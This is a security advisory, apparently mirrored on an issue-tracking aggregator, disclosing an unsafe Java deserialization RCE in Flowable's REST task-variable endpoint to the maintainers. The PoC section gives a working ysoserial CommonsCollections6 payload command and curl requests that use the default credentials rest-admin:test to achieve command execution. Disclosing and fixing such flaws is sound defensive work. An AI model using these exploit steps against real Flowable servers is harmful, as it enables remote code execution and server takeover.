[SECURITY] Deserialization RCE via PUT /runtime/tasks/{taskId}/variables/{variableName} with type=serializable (CWE-502, CVSS 8.1)
还没有人认领这个 Issue。
评估
调研方向
Start with TaskVariableResource.updateVariable and TaskVariableBaseResource.setBinaryVariable, especially the multipart serializable path around ObjectInputStream.readObject() and the rest.variables.allow.serializable default. Trace the endpoint and configuration behavior, then establish a safe, tested handling path for uploaded serialized data; done means attacker-controlled input is not deserialized unsafely in the default deployment.
由索引模型根据 Issue 内容生成。
描述
Security Vulnerability Report -- CWE-502
Summary
The Flowable REST API's PUT /runtime/tasks/{taskId}/variables/{variableName} endpoint, when handling multipart/form-data requests with the type parameter set to 'serializable', directly uses ObjectInputStream.readObject() to perform Java native deserialization on uploaded files without any class whitelist/blacklist filtering. This feature is enabled by default (rest.variables.allow.serializable=true), allowing an authenticated attacker to achieve remote code execution (RCE) by crafting a malicious serialized object (CommonsCollections6 gadget chain).
Vulnerability Description
Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0
Static Analysis Report
Vulnerability Overview
The Flowable REST API's TaskVariableResource.updateVariable endpoint (PUT /runtime/tasks/{taskId}/variables/{variableName}) supports uploading task variables via multipart/form-data. When the request's type parameter is serializable, the system directly uses java.io.ObjectInputStream.readObject() to perform Java native deserialization on the uploaded file stream, without any class whitelist, ObjectInputFilter, or security filtering mechanism. Since the rest.variables.allow.serializable configuration property defaults to true, this vulnerability is triggerable in default deployments. An authenticated attacker can upload a serialized object containing a malicious gadget chain (e.g., CommonsCollections6, as commons-collections-3.2.2.jar is present in the server classpath) to achieve arbitrary code execution (RCE) on the server.
Exploitation Prerequisites
| Condition | Description |
|---|---|
| Authentication | Requires valid Basic Auth credentials for the Flowable REST API (@Authorization(value = "basicAuth")). Flowable's default installation creates demo users (rest-admin/test), and many production environments retain default credentials. |
| Network Accessibility | REST API port reachable (internal or external network). Attacker only needs access to the Flowable REST API. |
| Configuration Dependency | Exploitable with default configuration: rest.variables.allow.serializable defaults to true (see TaskVariableBaseResource.afterPropertiesSet()), no additional configuration required. |
| Business Prerequisites | At least one Task must exist in the target Flowable instance, and a variable must exist on that Task for the PUT update. This can be produced through normal operation of the process engine. |
| Classpath Dependency | An exploitable deserialization gadget chain must exist in the server classpath. Flowable 7.1.0 WAR deployment includes commons-collections-3.2.2.jar, making the CommonsCollections6 gadget chain directly exploitable. |
Trigger Location
modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/task/TaskVariableBaseResource.java:184-185
} else if (isSerializableVariableAllowed) {
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject(); // ← Unsafe deserialization, no filtering
setVariable(task, variableName, value, scope, isNew);
stream.close();
}
Data Flow Overview
PUT /runtime/tasks/{taskId}/variables/{variableName}
Content-Type: multipart/form-data
Parameters: name=<variable_name>, type=serializable, file=<malicious serialized object>
↓
TaskVariableResource.updateVariable (TaskVariableResource.java:94-130)
request instanceof MultipartHttpServletRequest → true
↓
setBinaryVariable((MultipartHttpServletRequest) request, task, false) (TaskVariableBaseResource.java:123)
Parses form parameters: name, type, scope
variableType = "serializable"
↓
isSerializableVariableAllowed == true (default)
↓
new ObjectInputStream(file.getInputStream()).readObject() (TaskVariableBaseResource.java:184-185)
→ Deserializes attacker-controlled byte stream → RCE
Data Flow Detailed Code Analysis
Chain 1: multipart/form-data → Unsafe Deserialization
Layer 1: HTTP Entry (TaskVariableResource.java:94-130)
@PutMapping(value = "/runtime/tasks/{taskId}/variables/{variableName}",
produces = "application/json",
consumes = {"application/json", "multipart/form-data"})
public RestVariable updateVariable(
@PathVariable("taskId") String taskId,
@PathVariable("variableName") String variableName,
@RequestParam(value = "scope", required = false) String scope,
HttpServletRequest request) {
Task task = getTaskFromRequestWithoutAccessCheck(taskId);
// ...
if (request instanceof MultipartHttpServletRequest) {
result = setBinaryVariable((MultipartHttpServletRequest) request, task, false);
}
- External input:
HttpServletRequest(including multipart file and form parameters),taskId(path parameter) - Operation: After verifying taskId exists, checks whether the request is
MultipartHttpServletRequest. If so, directly callssetBinaryVariable - Data transfer: The entire multipart request (including file stream and form parameters) is passed to
setBinaryVariable
Layer 2: Parameter Parsing and File Extraction (TaskVariableBaseResource.java:123-156)
protected RestVariable setBinaryVariable(MultipartHttpServletRequest request, Task task, boolean isNew) {
MultipartFile file = request.getFile(request.getFileMap().keySet().iterator().next());
// ...
Map<String, String[]> paramMap = request.getParameterMap();
for (String parameterName : paramMap.keySet()) {
if ("type".equalsIgnoreCase(parameterName)) {
variableType = paramMap.get(parameterName)[0]; // ← Attacker controls type
}
}
- External input:
MultipartHttpServletRequest(including form parametersname,type,scopeand uploaded file) - Operation: Extracts
type(attacker sets to"serializable"),name,scopefrom form parameters; extracts the first file from multipart - Data transfer:
variableType = "serializable",file(malicious serialized byte stream) continues downward
Layer 3: Type Check Branch (TaskVariableBaseResource.java:164-191)
if (variableType != null) {
if (!RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE.equals(variableType)
&& !RestResponseFactory.SERIALIZABLE_VARIABLE_TYPE.equals(variableType)) {
throw new FlowableIllegalArgumentException("Only 'binary' and 'serializable' are supported as variable type.");
}
}
// ...
if (variableType.equals(RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE)) {
byte[] variableBytes = IOUtils.toByteArray(file.getInputStream());
setVariable(task, variableName, variableBytes, scope, isNew);
} else if (isSerializableVariableAllowed) { // ← Default true
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject(); // ← SINK: Unsafe deserialization
setVariable(task, variableName, value, scope, isNew);
stream.close();
}
- External input:
variableType(attacker controls to"serializable"),file(attacker-controlled byte stream) - Operation: When
variableTypeequals"serializable", enters the deserialization branch.isSerializableVariableAlloweddefaults totrue(initialized byenv.getProperty("rest.variables.allow.serializable", Boolean.class, true)), condition is satisfied. Then directly callsnew ObjectInputStream(file.getInputStream()).readObject() - Security checks: No filtering whatsoever. No
ObjectInputFilter, no class whitelist/blacklist, no customSecureObjectInputStream. The attacker-provided byte stream is fully trusted - Sink:
ObjectInputStream.readObject()automatically calls the malicious object'sreadObject()method during deserialization, triggering the gadget chain to execute arbitrary code
Configuration Default Value Confirmation (TaskVariableBaseResource.java:51-54)
@Override
public void afterPropertiesSet() {
isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);
}
- Default value is
true: Unless the deployer explicitly setsrest.variables.allow.serializable=false, the deserialization feature is enabled by default
CVSS Breakdown
CVSS v3.1 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
| Vector | Value | Reason |
|---|---|---|
| AV (Attack Vector) | Network (N) | Triggered via network HTTP request, no local access required |
| AC (Attack Complexity) | Low (L) | Attacker only needs to send a multipart HTTP request using a known gadget chain in the classpath |
| PR (Privileges Required) | Low (L) | Requires Basic Auth, but Flowable default deployment includes default credentials (rest-admin/test). Any authenticated user can trigger |
| UI (User Interaction) | None (N) | No user interaction required, attacker initiates the request |
| S (Scope) | Unchanged (U) | Vulnerability impact is limited to the Flowable server process itself |
| C (Confidentiality) | High (H) | RCE can read any server files, database credentials, process data |
| I (Integrity) | High (H) | RCE can tamper with process definitions, business data, inject malicious workflows |
| A (Availability) | High (H) | RCE can stop services, delete data, encrypt filesystem |
PoC Verification Report
Flowable REST TaskVariable PUT Endpoint Java Native Deserialization RCE
Vulnerability Summary
- Vulnerability Name: Flowable REST API TaskVariableResource.updateVariable Unsafe Deserialization RCE
- Affected Component/Port: Flowable REST API (default port 8080) / PUT
/runtime/tasks/{taskId}/variables/{variableName} - Vulnerability Brief: The PUT
/runtime/tasks/{taskId}/variables/{variableName}endpoint, when receiving multipart/form-data requests withtype=serializable, directly usesObjectInputStream.readObject()to deserialize the uploaded file content without any class filtering mechanism. In default configuration (rest.variables.allow.serializable=true), an authenticated attacker can achieve RCE via the CommonsCollections6 gadget chain. - Root Cause Code Snippet:
// TaskVariableBaseResource.java:182-187
} else if (isSerializableVariableAllowed) {
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject(); // ← Unsafe deserialization, no filtering
setVariable(task, variableName, value, scope, isNew);
stream.close();
}
- Brief Data Flow:
PUT /runtime/tasks/{taskId}/variables/{variableName}
Content-Type: multipart/form-data
Parameters: name=testvar, type=serializable, file=<CC6 serialized payload>
↓
TaskVariableResource.updateVariable (TaskVariableResource.java:94)
request instanceof MultipartHttpServletRequest → true
↓
setBinaryVariable (TaskVariableBaseResource.java:123)
Extracts type="serializable", file=<attacker byte stream>
↓
isSerializableVariableAllowed == true (default)
↓
ObjectInputStream.readObject() (TaskVariableBaseResource.java:185)
→ Deserialization triggers CommonsCollections6 gadget chain → Runtime.exec() → RCE
Exploitation Conditions
| Condition | Description |
|---|---|
| Authentication | Requires Basic Auth (rest-admin:test are default credentials) |
| Network Accessibility | Internal/external network (REST API HTTP port reachable) |
| Configuration Dependency | Exploitable with default configuration (rest.variables.allow.serializable defaults to true) |
| Business Prerequisites | At least one Task must exist in the target instance, and a variable must already exist on the Task (PUT is an update operation) |
| Classpath Dependency | Server includes commons-collections-3.2.2.jar (Flowable 7.1.0 WAR includes by default) |
Exploitation Chain Progress
Successful Exploitation Example:
| Chain Stage | Location (file:line) | Status | Evidence / Notes |
|---|---|---|---|
| Entry | TaskVariableResource.java:94 | ✅ Connected | PUT multipart request received by MultipartHttpServletRequest branch |
| Parameter Parsing | TaskVariableBaseResource.java:152 | ✅ Connected | type="serializable" extracted, variableType set to "serializable" |
| Type Check | TaskVariableBaseResource.java:182 | ✅ Connected | isSerializableVariableAllowed defaults to true, enters deserialization branch |
| Sink | TaskVariableBaseResource.java:185 | ✅ Triggered | ObjectInputStream.readObject() deserialized CC6 payload, triggered touch /tmp/pwned_entry_0662 command execution |
| Conclusion | — | ✅ Full Chain Closed | RCE successful: server created file /tmp/pwned_entry_0662 |
Exploitation Verification
Step 1: Generate CommonsCollections6 Deserialization Payload
Use ysoserial to generate a serialized payload executing touch /tmp/pwned_entry_0662:
java --add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
--add-opens java.base/java.io=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections6 "touch /tmp/pwned_entry_0662" \
> payload_cc6.bin
Step 2: Create an Initial Variable on the Target Task (PUT Update Requires Variable to Exist)
curl -s -u rest-admin:test \
-X POST "http://localhost:8080/flowable-rest/service/runtime/tasks/0332a88c-8fff-11f1-a444-02423661ba3a/variables" \
-H "Content-Type: application/json" \
-d '[{"name":"testvar","type":"string","value":"dummy"}]'
Returns:
[
{
"name": "testvar",
"type": "string",
"value": "dummy",
"scope": "local"
}
]
Step 3: Send Deserialization Payload to Trigger RCE
curl -s -u rest-admin:test \
-X PUT "http://localhost:8080/flowable-rest/service/runtime/tasks/0332a88c-8fff-11f1-a444-02423661ba3a/variables/testvar" \
-F "name=testvar" \
-F "type=serializable" \
-F "file=@payload_cc6.bin" \
-w "\nHTTP_CODE: %{http_code}\n"
Actual execution result: HTTP 200 OK, server returns variable updated to serializable type:
{"name":"testvar","type":"serializable","value":null,"valueUrl":"http://localhost:8080/flowable-rest/service/runtime/tasks/0332a88c-8fff-11f1-a444-02423661ba3a/variables/testvar/data","scope":"local"}
HTTP_CODE: 200
Verify RCE command execution success:
ls -la /tmp/pwned_entry_0662
Output:
-rw-r----- 1 root root 0 Aug 4 12:28 /tmp/pwned_entry_0662
Step 4: Second Verification (Different Task, Confirming Consistency)
Using a different Task ID and a different command touch /tmp/pwned_entry_0662_h2 for repeated verification:
curl -s -u rest-admin:test \
-X PUT "http://localhost:8080/flowable-rest/service/runtime/tasks/0383aec9-8fff-11f1-a444-02423661ba3a/variables/testvar2" \
-F "name=testvar2" \
-F "type=serializable" \
-F "file=@payload_cc6_h2.bin" \
-w "\nHTTP_CODE: %{http_code}\n"
Verification:
ls -la /tmp/pwned_entry_0662_h2
Output:
-rw-r----- 1 root root 0 Aug 4 12:30 /tmp/pwned_entry_0662_h2
Conclusion: Two independent tests both successfully triggered RCE. The attacker only needs a valid Basic Auth credential (default rest-admin:test suffices) and a single HTTP PUT request to execute arbitrary system commands on the Flowable REST server with Tomcat process privileges (root). The root cause is ObjectInputStream.readObject() at lines 184-185 of TaskVariableBaseResource.java directly deserializing the attacker-uploaded file content without any class filtering mechanism, and this is enabled by default configuration.
Severity
CVSS v3.1: 8.1 (High)
Vulnerability Category: CWE-502
CVE Assignment Request
If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.
Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.
Thank you for your help.
- 主要语言
- Java
- 星标
- 9.6k
- 派生
- 2.9k
- 平均合并
- 1 小时 9 分钟
- 30 天内合并 PR
- 2
环境准备
- 没有 Dockerfile 或 Docker Compose 文件
- 有 Pull Request 模板
- 没有贡献指南
从这里开始
- 先读完整个 Issue,再读项目的贡献指南。
- 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
- Fork 仓库,在一个分支上完成修改。
- 提交 Pull Request,并在描述里引用这个 Issue 编号。
flowable/flowable-engine 的其他 Issue
-
难度 1/5 1 小时以内 新手友好度 88/100
flowable/flowable-engine#4268 ·
-
难度 4/5 3-5 天 新手友好度 35/100
flowable/flowable-engine#4292 ·
-
难度 5/5 一周以上 新手友好度 30/100
flowable/flowable-engine#4291 ·
-
难度 4/5 3-5 天 新手友好度 48/100
flowable/flowable-engine#4290 ·
-
难度 4/5 3-5 天 新手友好度 35/100
flowable/flowable-engine#4289 ·
查看 flowable/flowable-engine 的全部 Issue
相似的 Issue
-
难度 2/5 1-3 小时 新手友好度 88/100
维护者通常 1 天内回复
-
难度 1/5 1 小时以内 新手友好度 88/100
apache/arrow-java#1311 ·
维护者通常 2 天内回复
-
bug triage
难度 2/5 1-3 小时 新手友好度 85/100
-
难度 2/5 1-3 小时 新手友好度 88/100
维护者通常 1 天内回复
-
security
难度 2/5 1-3 小时 新手友好度 65/100
IBM/networking-java-sdk#204 ·